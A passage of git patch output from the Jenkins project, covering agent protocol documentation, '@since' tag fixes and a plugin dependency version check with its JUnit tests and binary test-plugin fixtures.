Jenkins#setAgentProtocols(Set)} only records the protocols where the admin has made a + * conscious decision thus: + *
    + *
  • if a protocol is opt-in, it records the admin enabling it
  • + *
  • if a protocol is opt-out, it records the admin disabling it
  • + *
+ * Implementations should not transition rapidly from {@code opt-in -> opt-out -> opt-in}. + * Implementations should never flip-flop: {@code opt-in -> opt-out -> opt-in -> opt-out} as that will basically + * clear any preference that an admin has set. This latter restriction should be ok as we only ever will be + * adding new protocols and retiring old ones. + * * @return {@code true} if the protocol requires explicit opt-in. * @since FIXME + * @see Jenkins#setAgentProtocols(Set) */ public boolean isOptIn() { return false; diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 76006d673f..3c95db8cca 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -1128,7 +1128,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve for (AgentProtocol p : AgentProtocol.all()) { String name = p.getName(); if (name != null && !p.isRequired()) { - // we want to record the protocols where the admin has made a concious decision + // we want to record the protocols where the admin has made a conscious decision // thus, if a protocol is opt-in, we record the admin enabling it // if a protocol is opt-out, we record the admin disabling it // We should not transition rapidly from opt-in -> opt-out -> opt-in -- GitLab From 86e14ddffc5e306a62514caca023732f4e62d824 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Fri, 29 Jul 2016 13:18:20 +0100 Subject: [PATCH 156/811] Noting merge of JENKINS-37032, also fixing @since FIXME tags --- changelog.html | 5 ++++- core/src/main/java/hudson/PluginManager.java | 2 +- .../main/java/hudson/TcpSlaveAgentListener.java | 8 ++------ .../hudson/model/DescriptorVisibilityFilter.java | 2 +- core/src/main/java/hudson/model/Fingerprint.java | 2 +- core/src/main/java/jenkins/AgentProtocol.java | 6 +++--- core/src/main/java/jenkins/model/Jenkins.java | 15 +++++++++------ .../jenkins/slaves/JnlpSlaveAgentProtocol3.java | 5 +---- .../main/java/jenkins/util/SystemProperties.java | 2 +- 9 files changed, 23 insertions(+), 24 deletions(-) diff --git a/changelog.html b/changelog.html index 802d6d1345..61efd81fec 100644 --- a/changelog.html +++ b/changelog.html @@ -67,7 +67,10 @@ Upcoming changes (issue 36996)
  • If an older version of a detached plugin is already installed it does not get upgraded - (issue 37041) + (issue 37041) +
  • + Allow admins to control the enabled agent protocols on their instance from the global security settings screen. + (issue 37032)
  • diff --git a/core/src/main/java/hudson/PluginManager.java b/core/src/main/java/hudson/PluginManager.java index de0cb06b2a..92416858e7 100644 --- a/core/src/main/java/hudson/PluginManager.java +++ b/core/src/main/java/hudson/PluginManager.java @@ -1298,7 +1298,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas * the plugin will only take effect after the reboot. * See {@link UpdateCenter#isRestartRequiredForCompletion()} * @return The install job list. - * @since FIXME + * @since 2.0 */ @Restricted(NoExternalUse.class) public List> install(@Nonnull Collection plugins, boolean dynamicLoad) { diff --git a/core/src/main/java/hudson/TcpSlaveAgentListener.java b/core/src/main/java/hudson/TcpSlaveAgentListener.java index 238dd51296..c01f711406 100644 --- a/core/src/main/java/hudson/TcpSlaveAgentListener.java +++ b/core/src/main/java/hudson/TcpSlaveAgentListener.java @@ -126,7 +126,7 @@ public final class TcpSlaveAgentListener extends Thread { * clients can avoid creating additional work for the server attempting to connect with unsupported protocols. * * @return a comma separated list of the enabled {@link AgentProtocol#getName()} implementations - * @since FIXME + * @since 2.16 */ public String getAgentProtocolNames() { return StringUtils.join(Jenkins.getInstance().getAgentProtocols(), ", "); @@ -262,11 +262,7 @@ public final class TcpSlaveAgentListener extends Thread { } /** - * Allow essential {@link AgentProtocol} implementations (basically {@link PingAgentProtocol}) - * to be always enabled. - * - * @return {@code true} if the protocol can never be disabled. - * @since FIXME + * {@inheritDoc} */ @Override public boolean isRequired() { diff --git a/core/src/main/java/hudson/model/DescriptorVisibilityFilter.java b/core/src/main/java/hudson/model/DescriptorVisibilityFilter.java index 838e3a0caf..f092a8bb10 100644 --- a/core/src/main/java/hudson/model/DescriptorVisibilityFilter.java +++ b/core/src/main/java/hudson/model/DescriptorVisibilityFilter.java @@ -35,7 +35,7 @@ public abstract class DescriptorVisibilityFilter implements ExtensionPoint { * @return true to allow the descriptor to be visible. false to hide it. * If any of the installed {@link DescriptorVisibilityFilter} returns false, * the descriptor is not shown. - * @since FIXME + * @since 2.12 */ public boolean filterType(@Nonnull Class contextClass, @Nonnull Descriptor descriptor) { return true; diff --git a/core/src/main/java/hudson/model/Fingerprint.java b/core/src/main/java/hudson/model/Fingerprint.java index c2ab05a678..2e33bdf2d0 100644 --- a/core/src/main/java/hudson/model/Fingerprint.java +++ b/core/src/main/java/hudson/model/Fingerprint.java @@ -1468,7 +1468,7 @@ public class Fingerprint implements ModelObject, Saveable { * Provides the XStream instance this class is using for serialization. * * @return the XStream instance - * @since FIXME + * @since 1.655 */ @Nonnull public static XStream2 getXStream() { diff --git a/core/src/main/java/jenkins/AgentProtocol.java b/core/src/main/java/jenkins/AgentProtocol.java index a9eca520d7..93140b71c1 100644 --- a/core/src/main/java/jenkins/AgentProtocol.java +++ b/core/src/main/java/jenkins/AgentProtocol.java @@ -37,7 +37,7 @@ public abstract class AgentProtocol implements ExtensionPoint { * adding new protocols and retiring old ones. * * @return {@code true} if the protocol requires explicit opt-in. - * @since FIXME + * @since 2.16 * @see Jenkins#setAgentProtocols(Set) */ public boolean isOptIn() { @@ -48,7 +48,7 @@ public abstract class AgentProtocol implements ExtensionPoint { * to be always enabled. * * @return {@code true} if the protocol can never be disabled. - * @since FIXME + * @since 2.16 */ public boolean isRequired() { return false; @@ -68,7 +68,7 @@ public abstract class AgentProtocol implements ExtensionPoint { * Returns the human readable protocol display name. * * @return the human readable protocol display name. - * @since FIXME + * @since 2.16 */ public String getDisplayName() { return getName(); diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 22492d89eb..83e3184894 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -602,7 +602,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve * The TCP agent protocols that are explicitly disabled (we store the disabled ones so that newer protocols * are enabled by default). Will be {@code null} instead of empty to simplify XML format. * - * @since FIXME + * @since 2.16 */ @CheckForNull private List disabledAgentProtocols; @@ -611,15 +611,18 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve * The TCP agent protocols that are {@link AgentProtocol#isOptIn()} and explicitly enabled. * Will be {@code null} instead of empty to simplify XML format. * - * @since FIXME + * @since 2.16 */ @CheckForNull private List enabledAgentProtocols; /** - * The TCP agent protocols that are enabled. Built from {@link #disabledAgentProtocols}. + * The TCP agent protocols that are enabled. Built from {@link #disabledAgentProtocols} and + * {@link #enabledAgentProtocols}. * - * @since FIXME + * @since 2.16 + * @see #setAgentProtocols(Set) + * @see #getAgentProtocols() */ private transient Set agentProtocols; @@ -1089,7 +1092,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve * Returns the enabled agent protocols. * * @return the enabled agent protocols. - * @since FIXME + * @since 2.16 */ public Set getAgentProtocols() { if (agentProtocols == null) { @@ -1120,7 +1123,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve * Sets the enabled agent protocols. * * @param protocols the enabled agent protocols. - * @since FIXME + * @since 2.16 */ public void setAgentProtocols(Set protocols) { Set disabled = new TreeSet<>(); diff --git a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java index 5086d9191a..e1618aa719 100644 --- a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java +++ b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java @@ -39,10 +39,7 @@ public class JnlpSlaveAgentProtocol3 extends AgentProtocol { NioChannelSelector hub; /** - * Allow experimental {@link AgentProtocol} implementations to declare being opt-in. - * - * @return {@code true} if the protocol requires explicit opt-in. - * @since FIXME + * {@inheritDoc} */ @Override public boolean isOptIn() { diff --git a/core/src/main/java/jenkins/util/SystemProperties.java b/core/src/main/java/jenkins/util/SystemProperties.java index afdda622b4..b90f23781c 100644 --- a/core/src/main/java/jenkins/util/SystemProperties.java +++ b/core/src/main/java/jenkins/util/SystemProperties.java @@ -212,7 +212,7 @@ public class SystemProperties implements ServletContextListener { * * @param name the system property name. * @return {@link Boolean#TRUE}, {@link Boolean#FALSE} or {@code null} - * @since FIXME + * @since 2.16 */ @CheckForNull public static Boolean optBoolean(String name) { -- GitLab From 43ddbdfc1cd651e0430289766637a11717494e88 Mon Sep 17 00:00:00 2001 From: Vincent Latombe Date: Fri, 25 Mar 2016 18:23:25 +0100 Subject: [PATCH 157/811] [JENKINS-21486] Fix plugin dependencies resolution * Check that dependencies are enabled. A disabled optional dependency will not prevent a plugin from loading. * Check versions of dependencies declared by a plugin before loading it. If any dependency (even optional) is older than what is required, then the plugin isn't loaded. This should prevent use cases where a plugin is loaded but one of its dependencies is too old so that : * its @Extension annotated classes cannot be loaded, causing the full Jenkins to blow up with crapload of exceptions which are tedious to investigate to understand the root cause. * NoSuchMethodError and the likes at runtime even though boot has completed. Version check (for setups where version list is manually crafted but yet works) can be disabled by starting Jenkins with -Dhudson.PluginWrapper.dependenciesVersionCheck.enabled=true Minor fixes done while implementing this change : * Fix version parsing in PluginWrapper.Dependency * Dynamic plugin load didn't check for disabled flag --- core/src/main/java/hudson/PluginManager.java | 3 +- core/src/main/java/hudson/PluginWrapper.java | 91 ++++++++++++++++-- .../test/java/hudson/PluginManagerTest.java | 74 ++++++++++++++ .../test/java/hudson/PluginManagerUtil.java | 7 ++ .../test/java/hudson/PluginWrapperTest.java | 26 +++++ .../test/resources/plugins/dependee-0.0.2.hpi | Bin 0 -> 4671 bytes .../test/resources/plugins/depender-0.0.2.hpi | Bin 0 -> 5500 bytes .../plugins/mandatory-depender-0.0.2.hpi | Bin 0 -> 5587 bytes 8 files changed, 191 insertions(+), 10 deletions(-) create mode 100644 test/src/test/java/hudson/PluginWrapperTest.java create mode 100644 test/src/test/resources/plugins/dependee-0.0.2.hpi create mode 100644 test/src/test/resources/plugins/depender-0.0.2.hpi create mode 100644 test/src/test/resources/plugins/mandatory-depender-0.0.2.hpi diff --git a/core/src/main/java/hudson/PluginManager.java b/core/src/main/java/hudson/PluginManager.java index 92416858e7..941dc0cdc2 100644 --- a/core/src/main/java/hudson/PluginManager.java +++ b/core/src/main/java/hudson/PluginManager.java @@ -844,7 +844,8 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas // so existing plugins can't be depending on this newly deployed one. plugins.add(p); - activePlugins.add(p); + if (p.isActive()) + activePlugins.add(p); synchronized (((UberClassLoader) uberClassLoader).loaded) { ((UberClassLoader) uberClassLoader).loaded.clear(); } diff --git a/core/src/main/java/hudson/PluginWrapper.java b/core/src/main/java/hudson/PluginWrapper.java index f61b96e7cf..31feb91c66 100644 --- a/core/src/main/java/hudson/PluginWrapper.java +++ b/core/src/main/java/hudson/PluginWrapper.java @@ -88,6 +88,12 @@ import javax.annotation.Nonnull; */ @ExportedBean public class PluginWrapper implements Comparable, ModelObject { + /** + * A plugin won't be loaded unless his declared dependencies are present and match the required minimal version. + * This can be set to false to disable the version check (legacy behaviour) + */ + private static final boolean ENABLE_PLUGIN_DEPENDENCIES_VERSION_CHECK = Boolean.parseBoolean(System.getProperty(PluginWrapper.class.getName()+"." + "dependenciesVersionCheck.enabled", "true")); + /** * {@link PluginManager} to which this belongs to. */ @@ -229,7 +235,7 @@ public class PluginWrapper implements Comparable, ModelObject { @Override public String toString() { - return shortName + " (" + version + ")"; + return shortName + " (" + version + ") " + (optional ? "optional" : ""); } } @@ -394,6 +400,21 @@ public class PluginWrapper implements Comparable, ModelObject { return "???"; } + /** + * Returns the required Jenkins core version of this plugin. + * @return the required Jenkins core version of this plugin. + * @since XXX + */ + @Exported + public @CheckForNull String getRequiredCoreVersion() { + String v = manifest.getMainAttributes().getValue("Jenkins-Version"); + if (v!= null) return v; + + v = manifest.getMainAttributes().getValue("Hudson-Version"); + if (v!= null) return v; + return null; + } + /** * Returns the version number of this plugin */ @@ -524,19 +545,71 @@ public class PluginWrapper implements Comparable, ModelObject { * thrown if one or several mandatory dependencies doesn't exists. */ /*package*/ void resolvePluginDependencies() throws IOException { - List missingDependencies = new ArrayList<>(); + if (ENABLE_PLUGIN_DEPENDENCIES_VERSION_CHECK) { + String requiredCoreVersion = getRequiredCoreVersion(); + if (requiredCoreVersion == null) { + LOGGER.warning(shortName + " doesn't declare required core version."); + } else { + if (Jenkins.getVersion().isOlderThan(new VersionNumber(requiredCoreVersion))) { + throw new IOException(shortName + " requires a more recent core version (" + requiredCoreVersion + ") than the current (" + Jenkins.getVersion() + ")."); + } + } + } + List missingDependencies = new ArrayList(); + List obsoleteDependencies = new ArrayList(); + List disabledDependencies = new ArrayList(); // make sure dependencies exist for (Dependency d : dependencies) { - if (parent.getPlugin(d.shortName) == null) - missingDependencies.add(d); - } - if (!missingDependencies.isEmpty()) - throw new MissingDependencyException(this.shortName, missingDependencies); + PluginWrapper dependency = parent.getPlugin(d.shortName); + if (dependency == null) { + missingDependencies.add(d.toString()); + } else { + if (dependency.isActive()) { + if (ENABLE_PLUGIN_DEPENDENCIES_VERSION_CHECK && dependency.getVersionNumber().isOlderThan(new VersionNumber(d.version))) { + obsoleteDependencies.add(dependency.getShortName() + "(" + dependency.getVersion() + " < " + d.version + ")"); + } + } else { + disabledDependencies.add(d.toString()); + } + } + } // add the optional dependencies that exists for (Dependency d : optionalDependencies) { - if (parent.getPlugin(d.shortName) != null) - dependencies.add(d); + PluginWrapper dependency = parent.getPlugin(d.shortName); + if (dependency != null && dependency.isActive()) { + if (ENABLE_PLUGIN_DEPENDENCIES_VERSION_CHECK && dependency.getVersionNumber().isOlderThan(new VersionNumber(d.version))) { + obsoleteDependencies.add(dependency.getShortName() + "(" + dependency.getVersion() + " < " + d.version + ")"); + } else { + dependencies.add(d); + } + } + } + StringBuilder messageBuilder = new StringBuilder(); + if (!missingDependencies.isEmpty()) { + boolean plural = missingDependencies.size() > 1; + messageBuilder.append(plural ? "Dependencies " : "Dependency ") + .append(Util.join(missingDependencies, ", ")) + .append(" ").append(plural ? "don't" : "doesn't") + .append(" exist. "); + } + if (!disabledDependencies.isEmpty()) { + boolean plural = disabledDependencies.size() > 1; + messageBuilder.append(plural ? "Dependencies " : "Dependency ") + .append(Util.join(missingDependencies, ", ")) + .append(" ").append(plural ? "are" : "is") + .append(" disabled. "); + } + if (!obsoleteDependencies.isEmpty()) { + boolean plural = obsoleteDependencies.size() > 1; + messageBuilder.append(plural ? "Dependencies " : "Dependency ") + .append(Util.join(obsoleteDependencies, ", ")) + .append(" ").append(plural ? "are" : "is") + .append(" older than required."); + } + String message = messageBuilder.toString(); + if (!message.isEmpty()) { + throw new IOException(message); } } diff --git a/test/src/test/java/hudson/PluginManagerTest.java b/test/src/test/java/hudson/PluginManagerTest.java index 42847950cd..e7bb69de1b 100644 --- a/test/src/test/java/hudson/PluginManagerTest.java +++ b/test/src/test/java/hudson/PluginManagerTest.java @@ -47,6 +47,7 @@ import net.sf.json.JSONObject; import org.apache.commons.io.FileUtils; import org.apache.tools.ant.filters.StringInputStream; import static org.junit.Assert.*; + import org.junit.Rule; import org.junit.Test; import org.junit.rules.TemporaryFolder; @@ -339,6 +340,75 @@ public class PluginManagerTest { assertTrue(r.jenkins.getExtensionList("org.jenkinsci.plugins.dependencytest.dependee.DependeeExtensionPoint").isEmpty()); } + @Issue("JENKINS-21486") + @Test public void installPluginWithObsoleteDependencyFails() throws Exception { + // Load dependee 0.0.1. + { + dynamicLoad("dependee.hpi"); + } + + // Load mandatory-depender 0.0.2, depending on dependee 0.0.2 + try { + dynamicLoad("mandatory-depender-0.0.2.hpi"); + fail("Should not have worked"); + } catch (IOException e) { + // Expected + } + } + + @Issue("JENKINS-21486") + @Test public void installPluginWithDisabledOptionalDependencySucceeds() throws Exception { + // Load dependee 0.0.2. + { + dynamicLoadAndDisable("dependee-0.0.2.hpi"); + } + + // Load depender 0.0.2, depending optionally on dependee 0.0.2 + { + dynamicLoad("depender-0.0.2.hpi"); + } + + // dependee is not loaded so we cannot list any extension for it. + try { + r.jenkins.getExtensionList("org.jenkinsci.plugins.dependencytest.dependee.DependeeExtensionPoint"); + fail(); + } catch( ClassNotFoundException _ ){ + } + } + + @Issue("JENKINS-21486") + @Test public void installPluginWithDisabledDependencyFails() throws Exception { + // Load dependee 0.0.2. + { + dynamicLoadAndDisable("dependee-0.0.2.hpi"); + } + + // Load mandatory-depender 0.0.2, depending on dependee 0.0.2 + try { + dynamicLoad("mandatory-depender-0.0.2.hpi"); + fail("Should not have worked"); + } catch (IOException e) { + // Expected + } + } + + + @Issue("JENKINS-21486") + @Test public void installPluginWithObsoleteOptionalDependencyFails() throws Exception { + // Load dependee 0.0.1. + { + dynamicLoad("dependee.hpi"); + } + + // Load depender 0.0.2, depending optionally on dependee 0.0.2 + try { + dynamicLoad("depender-0.0.2.hpi"); + fail("Should not have worked"); + } catch (IOException e) { + // Expected + } + } + @Issue("JENKINS-12753") @WithPlugin("tasks.jpi") @Test public void dynamicLoadRestartRequiredException() throws Exception { @@ -378,6 +448,10 @@ public class PluginManagerTest { PluginManagerUtil.dynamicLoad(plugin, r.jenkins); } + private void dynamicLoadAndDisable(String plugin) throws IOException, InterruptedException, RestartRequiredException { + PluginManagerUtil.dynamicLoad(plugin, r.jenkins, true); + } + @Test public void uploadDependencyResolution() throws Exception { PersistedList sites = r.jenkins.getUpdateCenter().getSites(); sites.clear(); diff --git a/test/src/test/java/hudson/PluginManagerUtil.java b/test/src/test/java/hudson/PluginManagerUtil.java index e67b9b31f9..2263622b4c 100644 --- a/test/src/test/java/hudson/PluginManagerUtil.java +++ b/test/src/test/java/hudson/PluginManagerUtil.java @@ -48,9 +48,16 @@ public class PluginManagerUtil { } public static void dynamicLoad(String plugin, Jenkins jenkins) throws IOException, InterruptedException, RestartRequiredException { + dynamicLoad(plugin, jenkins, false); + } + + public static void dynamicLoad(String plugin, Jenkins jenkins, boolean disable) throws IOException, InterruptedException, RestartRequiredException { URL src = PluginManagerTest.class.getClassLoader().getResource("plugins/" + plugin); File dest = new File(jenkins.getRootDir(), "plugins/" + plugin); FileUtils.copyURLToFile(src, dest); + if (disable) { + new File(dest.getPath() + ".disabled").createNewFile(); + } jenkins.pluginManager.dynamicLoad(dest); } } diff --git a/test/src/test/java/hudson/PluginWrapperTest.java b/test/src/test/java/hudson/PluginWrapperTest.java new file mode 100644 index 0000000000..7529c53194 --- /dev/null +++ b/test/src/test/java/hudson/PluginWrapperTest.java @@ -0,0 +1,26 @@ +package hudson; + +import org.junit.Test; + +import static org.junit.Assert.assertEquals; + +public class PluginWrapperTest { + + @Test + public void dependencyTest() { + String version = "plugin:0.0.2"; + PluginWrapper.Dependency dependency = new PluginWrapper.Dependency(version); + assertEquals("plugin", dependency.shortName); + assertEquals("0.0.2", dependency.version); + assertEquals(false, dependency.optional); + } + + @Test + public void optionalDependencyTest() { + String version = "plugin:0.0.2;resolution:=optional"; + PluginWrapper.Dependency dependency = new PluginWrapper.Dependency(version); + assertEquals("plugin", dependency.shortName); + assertEquals("0.0.2", dependency.version); + assertEquals(true, dependency.optional); + } +} diff --git a/test/src/test/resources/plugins/dependee-0.0.2.hpi b/test/src/test/resources/plugins/dependee-0.0.2.hpi new file mode 100644 index 0000000000000000000000000000000000000000..79525b08464fdfe9ef41c5e7f18b4ab3afb78705 GIT binary patch literal 4671 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 